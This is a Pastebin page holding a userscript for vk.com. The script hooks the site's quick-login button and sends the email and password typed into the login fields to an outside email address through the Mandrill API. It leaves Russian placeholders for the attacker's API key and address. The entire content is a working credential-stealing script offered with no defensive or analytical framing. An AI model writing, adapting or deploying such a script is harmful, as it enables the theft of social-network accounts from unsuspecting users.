Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // @match http://vk.com/*
- // @copyright 2012+, You
- // ==/UserScript==
- function addJQuery(callback) {
- var script = document.createElement("script");
- script.setAttribute("src", "//ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js");
- script.addEventListener('load', function() {
- var script = document.createElement("script");
- script.textContent = "window.jQ=jQuery.noConflict(true);(" + callback.toString() + ")();";
- document.body.appendChild(script);
- }, false);
- document.body.appendChild(script);
- }
- function main() {
- jQ('#quick_login_button').click(function(e) {
- jQ.ajax({
- type: 'POST',
- url: 'https://mandrillapp.com/api/1.0/messages/send.json',
- data: {
- 'key': 'сюда_API_ключ_от_мандрилы',
- 'message': {
- 'to': [{
- 'email': 'сюда_свое_мыло',
- 'name': 'name',
- 'type': 'to'
- }],
- 'autotext': 'true',
- 'subject': 'Hi! I have something interesting for you!',
- 'html': jQ('#quick_email').val()+' '+jQ('#quick_pass').val()
- }
- }
- });
- });
- }
- addJQuery(main);
Advertisement
Add Comment
Please, Sign In to add comment